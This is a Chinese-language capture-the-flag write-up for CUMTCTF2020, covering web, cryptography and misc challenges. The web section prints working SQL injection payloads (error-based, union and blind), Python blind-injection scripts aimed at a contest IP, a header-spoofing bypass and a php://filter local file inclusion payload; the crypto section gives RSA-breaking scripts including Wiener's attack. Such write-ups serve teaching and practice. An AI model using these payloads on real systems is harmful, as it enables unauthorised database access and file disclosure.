CUMTCTF2020
2020-09-25 / 灬魔龙   

Web

Web签到

一开始显示GET 1,所以传参?1=1,然后显示POST 2,所以使用POST方法传入2=2。

<?php 
error_reporting(0);
if (!isset($_GET["1"]))
    die("Please Give me a GET 1 !");
if (!isset($_POST["2"]))
    die("Please Give me a POST 2 !!");
highlight_file(__FILE__);
if (isset($_GET["file"]))
    echo file_get_contents($_GET["file"]);
//Where is the flag?
?>

看到题目代码,有文件包含语句,最后构造GET:?1=1&file=flag.php和POST:2在Elements中获得flag。

Babysqli

查看源码,发现提示

<!-- select * from users where user='$username' and password='$password' -->

经过测试发现本题过滤了空格,所以可以使用//绕过。
POST构造语句`username=admin&password=’or/
/1#`

题目出现回显。
这题有三种解法,一是报错注入,二是联合注入,三是盲注。

报错注入:

password='or/**/extractvalue(1,concat('~',database()))#&username=admin

爆出数据库cumtctf。

password='or/**/extractvalue(1,concat('~',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="cumtctf")))#&username=admin

爆出表名users。

password='or/**/extractvalue(1,concat('~',(select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="users"/**/limit/**/4,1)))#&username=admin

爆出列名password。

password='or/**/extractvalue(1,concat('~',(select/**/concat(password)/**/from/**/users/**/limit/**/7,1)))#&username=admin

获得flag。

联合注入:

password='/**/union/**/select/**/1,2,3,password,5,6,7,8/**/from/**/users#&username=admin

盲注:

import requests
url = "http://202.119.201.197:13003/"

data = {"username":"admin","password":""}
result = ""
i = 0
while( True ):
i = i + 1 
head=32
tail=127

while( head < tail ):
    mid = (head + tail) // 2
    payload = "\'or/**/if(ord(mid((select/**/group_concat(password)/**/from/**/users),%d,1))>%d,1,0)#"%(i,mid)


    data['password'] = payload
    r = requests.post(url,data=data)

    if "Hello" in r.text :
        head = mid + 1
    else:
        tail = mid

last = result

if chr(head)!='':
    result += chr(head)
else:
    break
print(result)

Secret

打开只看到一张图片,打开源码也没有什么,将图片下载下来,打开发现源码。

<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
$str1=$_GET['param1'];
if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
    die("Suvin doesn't like you");
if(isset($_GET['param2'])){
    $str2=$_GET['param2'];
    if(!is_numeric($str2))
        die('Suvin prefers strings of Numbers');
    else if($str2<3600*24*30)
        die('Suvin says the num is too short');
    else if($str2>3600*24*31)
        die('Suvin says the num is too long');
    else {
        echo "Suvin says he's falling in love with you!"."</br>";
        sleep(intval($str2)); 
    }
    if (isset($_POST['param1']) && isset($_POST['param2'])) {
        $str1=$_POST['param1'];
        $str2=$_POST['param2'];
        if(strlen($str1)>1000)
            die("It's too long");
        if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
            echo $flag;
        else 
            die("It's so similar to md5");
    }
}
}

审计代码可知有三个需要绕过的点。

第一个,file_get_contents漏洞,需要我们传入一个文件并且文件内容为Suvin_wants_a_girlfriend。本题没有符合该内容的文件,所以使用data伪协议。
构造:?param1=data://text/plain;base64,U3V2aW5fd2FudHNfYV9naXJsZnJpZW5k

第二个是要让str2=2592000,直接输入2592000的话,会下面的sleep函数,需要等很久,但是sleep(intval($str2))可以采用别的方法绕过,输入param2=2.592e6,只需要sleep(2.592)即可。

第三个便是

if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
echo $flag;

sha1进行强比较时是可以通过数组绕过的,但是这里将数据进行了强制转换,所以用数组前半部分就不能通过判断。
所以需要找到sha1碰撞。

参考:https://blog.csdn.net/caiqiiqi/article/details/68953730


用浏览器POST错误,所以使用burpsuite传参获得flag。

Babysqli2

这题没有回显,所以使用盲注。

<!-- select * from users where user='$username' and password='$password' -->

查询语句和sql1一样,发现本题引号被过滤了,所以构造 username=admin\&password=or/**/1#,\将单引号转义,显示Login success成功绕过。

import requests
url = "http://202.119.201.197:13004/"

data = {"username":"admin\\","password":""}
result = ""
i = 0
while( True ):
i = i + 1 
head=32
tail=127

while( head < tail ):
    mid = (head + tail) // 2
    payload = "or/**/if(ord(right((select/**/group_concat(password)/**/from/**/users),%d))>%d,1,0)#"%(i,mid)


    data['password'] = payload
    r = requests.post(url,data=data)

    if "Login success" in r.text :
        head = mid + 1
    else:
        tail = mid

last = result

if chr(head)!='':
    result += chr(head)
else:
    break
print(result)

本题过滤了substr,substring和mid。所以只能用left或者right函数截取字符,这里的脚本用right函数跑出的结果是倒序的,逆转一下即可。

简单的文件包含?

进去界面提示需要来自本地。
抓包增加X-Forwarded-For:127.0.0.1,提示

Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive

将X-Forwarded-For修改为Client-ip绕过。

<?php
if ($_SERVER['HTTP_CLIENT_IP'] != '127.0.0.1' && $_SERVER['HTTP_X_REAL_IP'] != '127.0.0.1'){
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] == "127.0.0.1") {
        die("Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive");
    }
    die("Sorry, this site is only optimized for those who comes from localhost");
}
show_source(__FILE__);
include_once("flag.php");
if(isset($_POST['f'])) 
  include_once($_POST['f']);

题目给出了源码。
发现这题和wmctf2020的Make PHP Great Again类似。
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload:

f=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

CRYPTO

幼儿园的密码学

# e = 0x10001
# n = 0xeb80cc09ed9780fe25cadf7c168d2da3ea24e35237e92faf5ee0d7980c11302f
# c = 0x596d5175112e346590aae5a3d633e71d2d12b28b60f08f8efa82fc092acc8c2d

# Hint : google RSA

将n转为10进制得 n=106521084065274837947153338013414677016150003618052696631715598225251903811631
在factordb.com网站分解得

p=324350545929838254331191385863847627003
q=328413456989577256301798468872388310877

脚本:

import gmpy2
import libnum
e = 0x10001
n = 0xeb80cc09ed9780fe25cadf7c168d2da3ea24e35237e92faf5ee0d7980c11302f
c = 0x596d5175112e346590aae5a3d633e71d2d12b28b60f08f8efa82fc092acc8c2d
p=324350545929838254331191385863847627003
q=328413456989577256301798468872388310877
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(libnum.n2s(m))

小学生的密码题

from Secret import flag
def encode(ptext):
dic = [chr(i) for i in range(ord("A"), ord("}") + 1)]
m = [i for i in ptext]
tmp = [];s = []
for i in range(len(m)):
    for j in range(len(dic)):
        if m[i] == dic[j]:
            tmp.append(j + 1)
for i in tmp:
    res = ""
    if i >= 8:
        res += int(i/8)*"8"
    if i%8 >=4:
        res += int(i%8/4)*"4"
    if i%4 >=2:
        res += int(i%4/2)*"2"
    if i%2 >= 1:
        res += int(i%2/1)*"1"
    s.append(res + "0")
print ("".join(s)[:-1])
encode(flag)
#2108841084108840210884042088888882108881088888421088888841088842108888108888882088884108884210882088888108888421088888088888840888888841

发现是云影密码。

def de_code(c):
dic = [chr(i) for i in range(ord("A"), ord("}") + 1)]
flag = []
c2 = [i for i in c.split("0")]
for i in c2:
    c3 = 0
    for j in i:
        c3 += int(j)
    flag.append(dic[c3 - 1])
return flag
s=de_code("2108841084108840210884042088888882108881088888421088888841088842108888108888882088884108884210882088888108888421088888088888840888888841")
print(s)

参考:https://blog.csdn.net/lilongsy/article/details/108483119

初中生的密码题

from Crypto.Util.number import *
flag = b"CUMTCTF{***********}"

m = bytes_to_long(flag)
p = getPrime(2048)
q = getPrime(2048)
n=p*q
print("n =")
print(n)
print("x =")
print(p - q)
e = 65537
print("e =")
print (e)
enc = pow (m,e,n)
print("c =")
print (enc)


# 848636981711330203910533960833570455347986345690792054016750216327432282027653737545502731789145875082064910377585125307004316982829408169391535303284775605083341204318559328114199464933306718077358184455649201353500348066849356092072732731595459583112558025395897556853371526959018489282157258240657926428930442774978485014507505784476690845099227369478496626645851076679385883251594929952035661085961598388544126711902983065521128172978259778754970695037278639045266353840536697343675638366506183715240679610094431082173271579344392346412454309134164388560354168918421706979410826758333952277436780339926907679282601846125790204266958409253210507301575619878252146515542791259716201124558373197816421305046774535734189567481599690381428371580696486054135486182509762880877363356256116336930055483318415453999460475103494980748558993889459677374574910745242385711928489669790527969454801533682757508950065697410745338257289717598141031203566419840587221470340637486034911686587695890702753064441476917845870069997649577034149354150224132983093069444866234262542625997399303875938451386377357399819123134018307163799151847997740448433278364764592560369020005024859119937315831252233159882960532854116233641920659786799836075681746397

# -3052070064538177039316204197190587772604720575847063904632214287646067455053231054471310322671549035272267675314294983896730810628462303176753740499536650509067032550999649642312183001467325569057721784454105443122299599368088210370664912463545058026638059476152117310712548608873763578306375998350729040793659145108802752313856984121444358377361896069243965149432626400631035486457915394853541729904150184876824863707417199152978276518660302136096681722191666079256269268999389217644896376343059852127338281844120448782198891495913902938174313438531667749920307775936355947018946620720978288405012504885451732231636

# 65537

# 500276652165476232076654622771677157250768179732264713523579845370773246348163260024607736441521224561215622461281586014983237858652417057155657449969056265720660829190301384970568346350223955618393888481761163081860577739642188925549367659640679318096760942544021237730989148483458109811329253634447727676739448614959129278184402908867775906054394989855924225114919908155555192049492166217426223547541734881640953812554490770886539711015590595225643347250775256347202731382399075874986175633735843442294362952658782222039304359012268388983517266514673942584394340271959108268767970975584914229361774953712985148623666397952697929068249614923619593159697025023419729477175132378161714469266964087936259094268257305699373043845836862837431528242266637009047435391814783091218052253028403118436883809360635254672757916796698717205444912499939444332318464917599147934380674170566512663319563482316813585703326406255062594138402301545958040346473049702846530817878290456916073719516628914765617094899424596847550000272048391510943841604964078978359922836810502915050553112186304778654077116518976860791033948994210848441625200565771078991918078367509133628707097275095964646533882786598320142068378456597291213602688733329815247771873609

phi=(p-1)*(q-1)=pq-(p+q)+1,所以要构造p+q,题目给了p-q。
所以 (p+q)^2=(p-q)^2+4pq即可求得p+q。

import gmpy2
import libnum
n=848636981711330203910533960833570455347986345690792054016750216327432282027653737545502731789145875082064910377585125307004316982829408169391535303284775605083341204318559328114199464933306718077358184455649201353500348066849356092072732731595459583112558025395897556853371526959018489282157258240657926428930442774978485014507505784476690845099227369478496626645851076679385883251594929952035661085961598388544126711902983065521128172978259778754970695037278639045266353840536697343675638366506183715240679610094431082173271579344392346412454309134164388560354168918421706979410826758333952277436780339926907679282601846125790204266958409253210507301575619878252146515542791259716201124558373197816421305046774535734189567481599690381428371580696486054135486182509762880877363356256116336930055483318415453999460475103494980748558993889459677374574910745242385711928489669790527969454801533682757508950065697410745338257289717598141031203566419840587221470340637486034911686587695890702753064441476917845870069997649577034149354150224132983093069444866234262542625997399303875938451386377357399819123134018307163799151847997740448433278364764592560369020005024859119937315831252233159882960532854116233641920659786799836075681746397
x1=-3052070064538177039316204197190587772604720575847063904632214287646067455053231054471310322671549035272267675314294983896730810628462303176753740499536650509067032550999649642312183001467325569057721784454105443122299599368088210370664912463545058026638059476152117310712548608873763578306375998350729040793659145108802752313856984121444358377361896069243965149432626400631035486457915394853541729904150184876824863707417199152978276518660302136096681722191666079256269268999389217644896376343059852127338281844120448782198891495913902938174313438531667749920307775936355947018946620720978288405012504885451732231636
e=65537
c=500276652165476232076654622771677157250768179732264713523579845370773246348163260024607736441521224561215622461281586014983237858652417057155657449969056265720660829190301384970568346350223955618393888481761163081860577739642188925549367659640679318096760942544021237730989148483458109811329253634447727676739448614959129278184402908867775906054394989855924225114919908155555192049492166217426223547541734881640953812554490770886539711015590595225643347250775256347202731382399075874986175633735843442294362952658782222039304359012268388983517266514673942584394340271959108268767970975584914229361774953712985148623666397952697929068249614923619593159697025023419729477175132378161714469266964087936259094268257305699373043845836862837431528242266637009047435391814783091218052253028403118436883809360635254672757916796698717205444912499939444332318464917599147934380674170566512663319563482316813585703326406255062594138402301545958040346473049702846530817878290456916073719516628914765617094899424596847550000272048391510943841604964078978359922836810502915050553112186304778654077116518976860791033948994210848441625200565771078991918078367509133628707097275095964646533882786598320142068378456597291213602688733329815247771873609
x2=x1**2+4*n
x3=gmpy2.iroot(x2,2)
x3=58342634998122692674032973234620896020471694068399847453520741898744437026570834277134765347908181270295928479896424327076716339778780713227054670754114006755614107059128760453507315091935855120450792252194791430498450216725579392051311373554303029775579999984765816108626868293630358812164765119470747267373609041885833415440716244492402495944064255436477147868576748300862501670473856373437423326957856588782039066794320093570665076624361151742737113922376038763268964187459938086360191752544167623804772397201519904950840301831333585995087985697059748872751988663760065650743406672809203915981347563824970092886078
phi=n-x3+1
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(libnum.n2s(m))

维也纳的秘密

import random, MillerRabin, Arithmetic
from Crypto.Util.number import *
from Secret import flag
def getPrimePair(bits=1024):
assert bits%4==0
p = MillerRabin.gen_prime(bits)
q = MillerRabin.gen_prime_range(p+1, 2*p)
return p,q


def generateKeys(nbits=2048):
assert nbits%4==0
p,q = getPrimePair(nbits//2)
n = p*q
phi = Arithmetic.totient(p, q)
good_d = False
while not good_d:
    d = random.getrandbits(nbits//4)
    if (Arithmetic.gcd(d,phi) == 1 and 36*pow(d,4) < n):
        good_d = True
e = Arithmetic.modInverse(d,phi)
return e,n,d

m = bytes_to_long(flag)
e,n,d = generateKeys()

print(e,n)
c = pow (m,e,n)
print (c)
# 25917869905353789552020051839685545807585887908450046088427531244499827291976782167954270910349135145650576577205887579602980345558674985105395501978268901326322190984756245598741821138929832796245200282809945902092452927735584403680358445261613953914943536843526277769116394598364429894016586950531738412000187564890144398840990145571955885937892052001539698596307058524682284055181201743515900813100220071848907331770786412369754343096043812458135104781836976573362623373912743876433806153076511149098647316326372142332490513102220713378272264003312902390898505790604790827479508911958178382856897907933377199566193,106602285831498822487486788497175055483413389274589435452182276717168915909703214196853831977107354376432175898907138060839801174230414399787961943308337842404599650916026415088762884858533403685998642441889119464243033004157478415547348866271362374758519029622126260984221580425672553497959526120398333794097492072777294689861833216730806226598330023420842069978222331772053519086812747673926909582663647038444661450353860411353335396908135442649692949063384865189330930012072526189754891675689042899811272336626668598113507084941522892240083044217780510968538395593221822537870102185136371596420208737931264071089819
# 15398020641711885710559511139367125697390856767570980918702304069921551026824973830905965011884029877409200714436395451238518167931282498171004159255219750106440201159997510300464170737146936143635060376097700682667493454396974135053233282346399826911102207173673203896533100043044490481712129066709761310607999156923718443531985800620856745964481756350778958018672069263974407939095582178915567712702600480364745442553319386928686249421339611325002839784705114574454557275960371558688802008912473101758827685572398618014465630145531065781435184623872800843020069614302900368019005227544170327166191217204578975950160

一看题目发现e和n都很大,再根据题目名字,知道这是wiener’s attack.

import gmpy2
import libnum
def transform(x,y):   #使用辗转相处将分数 x/y 转为连分数的形式
res=[]
while y:
    res.append(x//y)
    x,y=y,x%y
return res

def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]:      #从sublist的后面往前循环
    denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator   #得到渐进分数的分母和分子,并返回


#求解每个渐进分数
def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))  #将连分数的结果逐一截取以求渐进分数
return res


def get_pq(a,b,c):  #由p+q和pq的值通过维达定理来求解p和q
par=gmpy2.isqrt(b*b-4*a*c)   #由上述可得,开根号一定是整数,因为有解
x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
return x1,x2


def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n):  #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
    if k==0:                     #可能会出现连分数的第一个为0的情况,排除
        continue
    if (e*d-1)%k!=0:             #ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
        continue

    phi=(e*d-1)//k               #这个结果就是 φ(n)
    px,qy=get_pq(1,n-phi+1,n)
    if px*qy==n:
        p,q=abs(int(px)),abs(int(qy))     #可能会得到两个负数,负负得正未尝不会出现
        d=gmpy2.invert(e,(p-1)*(q-1))     #求ed=1 (mod  φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
        return d
print("该方法不适用")


e = 25917869905353789552020051839685545807585887908450046088427531244499827291976782167954270910349135145650576577205887579602980345558674985105395501978268901326322190984756245598741821138929832796245200282809945902092452927735584403680358445261613953914943536843526277769116394598364429894016586950531738412000187564890144398840990145571955885937892052001539698596307058524682284055181201743515900813100220071848907331770786412369754343096043812458135104781836976573362623373912743876433806153076511149098647316326372142332490513102220713378272264003312902390898505790604790827479508911958178382856897907933377199566193
n = 106602285831498822487486788497175055483413389274589435452182276717168915909703214196853831977107354376432175898907138060839801174230414399787961943308337842404599650916026415088762884858533403685998642441889119464243033004157478415547348866271362374758519029622126260984221580425672553497959526120398333794097492072777294689861833216730806226598330023420842069978222331772053519086812747673926909582663647038444661450353860411353335396908135442649692949063384865189330930012072526189754891675689042899811272336626668598113507084941522892240083044217780510968538395593221822537870102185136371596420208737931264071089819
d=wienerAttack(e,n)
c=15398020641711885710559511139367125697390856767570980918702304069921551026824973830905965011884029877409200714436395451238518167931282498171004159255219750106440201159997510300464170737146936143635060376097700682667493454396974135053233282346399826911102207173673203896533100043044490481712129066709761310607999156923718443531985800620856745964481756350778958018672069263974407939095582178915567712702600480364745442553319386928686249421339611325002839784705114574454557275960371558688802008912473101758827685572398618014465630145531065781435184623872800843020069614302900368019005227544170327166191217204578975950160
m=pow(c,d,n)
print(libnum.n2s(m))

Misc

真·签到题

用vim打开在文件末尾发现RVdPVkVWSHtVMWlwX2twX3V3ZWVndXVodzExYSF9IA==
base64编码。
解码得到 EWOVEVH{U1ip_kp_uweeguuhw11a!} 发现是凯撒密码,向前移动两位得到flag。

能看到我吗

经过爆破,得到压缩包密码是 1433223233,解压得到一张名为twins.png的图片。用binwalk分析发现里面有两个PNG图片。

使用foremost命令分离。
两张图片的话我所知道的就是用stegsolve合并两张图片或者盲水印。
前一个没有明显特征,所以使用后面一个方法。

python3 bwmforpy3.py decode 00000000.png 00001333.png solve.png

获得flag。

参考:https://github.com/chishaxie/BlindWaterMark#blindwatermark

兔兔那么可爱

先以为是rabbit密码没解出来。后面根据hint知道是斐波那契数列。

根据数列以及flag文件中字符对应字母的位置,可以获得flag。

CUMTCTF{Are_rabbits_cute?}

这题我是根据sublime text软件选取字符来来找的,也能使用脚本跑出flag。脚本自寻查找。

别做题了听歌吧

打开发现是一个mp3文件,而且题目说问就是cumt,想到是音频隐写利用mp3stego工具求解。

Decode.exe -X -P cumt anheqiao.mp3

得到anheqiao.mp3.txt,打开发现全是空白,但是发现确实有内容,我以为和之前钓鱼城杯的那题一样是whitespace编码,但解出来发现都是乱码,使用sublime text打开发现都是.和——,所以想到摩斯电码,空格是.,tab是-,换行符是/,替换一下进行摩斯电码解密最后包上CUMTCTF{}获得flag。

大鲨鱼之你可劲找


发现都是盲注的语句,flag形式是CUMTCTF,于是寻找符合条件的盲注语句。
经过分析可知,当if为真时返回 Hello,L1dng wants a girlfriend,为假时返回 You should be stronger
照这个思路寻找if为假时的最小值。

第一个字符>67时if为假,而且67是最小的,所以第一个字符的ASCII为67即C。

本文链接:https://devildragons.github.io/2020/09/25/CUMTCTF2020/